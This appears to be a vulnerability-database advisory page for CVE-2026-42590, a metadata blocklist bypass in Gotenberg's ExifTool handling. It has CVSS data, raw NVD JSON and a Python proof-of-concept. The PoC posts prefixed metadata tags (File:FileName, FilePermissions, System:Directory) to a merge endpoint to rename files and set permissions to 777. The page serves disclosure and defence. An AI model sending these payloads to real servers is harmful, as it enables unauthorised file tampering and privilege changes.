Security Vulnerability Report
中文
CVE-2026-42590 CVSS 8.2 HIGH

CVE-2026-42590

Published: 2026-05-14 16:16:22
Last Modified: 2026-05-14 16:28:05

Description

Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.30.0, The ExifTool metadata write blocklist in Gotenberg can be bypassed using ExifTool's group-prefix syntax, enabling arbitrary file rename, move, hardlink, and symlink creation on the server. ExifTool supports group-prefix syntax where File:FileName is processed identically to FileName -- the prefix is stripped by SetNewValue in Writer.pl before tag matching. The safeKeyPattern regex (^[a-zA-Z0-9\-_.:]+$) allows colons, so prefixed tag names pass validation. Any prefix works: File:FileName, System:Directory, a:HardLink, etc. Additionally, FilePermissions, FileUserID, and FileGroupID pseudo-tags are not blocked at all and can modify file attributes without any prefix. This vulnerability is fixed in 8.30.0.

CVSS Details

CVSS Score
8.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L

Configurations (Affected Products)

No configuration data available.

Gotenberg < 8.30.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-42590 # This script demonstrates bypassing the ExifTool blocklist using group-prefix syntax. import requests # Target URL (example) url = "http://target-gotenberg:3000/forms/pdfengines/merge" # Prepare a benign PDF file for upload files = { 'files': ('test.pdf', open('test.pdf', 'rb'), 'application/pdf') } # Malicious metadata using group-prefix syntax to bypass safeKeyPattern # 'File:FileName' attempts to rename the output file # 'FilePermissions' attempts to change file mode (not blocked) # 'a:HardLink' attempts to create a hardlink metadata = { "File:FileName": "/tmp/pwned_result.pdf", "FilePermissions": "777", "System:Directory": "/var/www/html/uploads" } data = { 'metadata': str(metadata).replace("'", '"') } try: response = requests.post(url, files=files, data=data) if response.status_code == 200: print("[+] Request sent successfully. Check server for file modifications.") else: print(f"[-] Failed. Status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42590", "sourceIdentifier": "[email protected]", "published": "2026-05-14T16:16:22.010", "lastModified": "2026-05-14T16:28:04.847", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.30.0, The ExifTool metadata write blocklist in Gotenberg can be bypassed using ExifTool's group-prefix syntax, enabling arbitrary file rename, move, hardlink, and symlink creation on the server. ExifTool supports group-prefix syntax where File:FileName is processed identically to FileName -- the prefix is stripped by SetNewValue in Writer.pl before tag matching. The safeKeyPattern regex (^[a-zA-Z0-9\\-_.:]+$) allows colons, so prefixed tag names pass validation. Any prefix works: File:FileName, System:Directory, a:HardLink, etc. Additionally, FilePermissions, FileUserID, and FileGroupID pseudo-tags are not blocked at all and can modify file attributes without any prefix. This vulnerability is fixed in 8.30.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-184"}]}], "references": [{"url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-7v3r-m9c8-r855", "source": "[email protected]"}]}}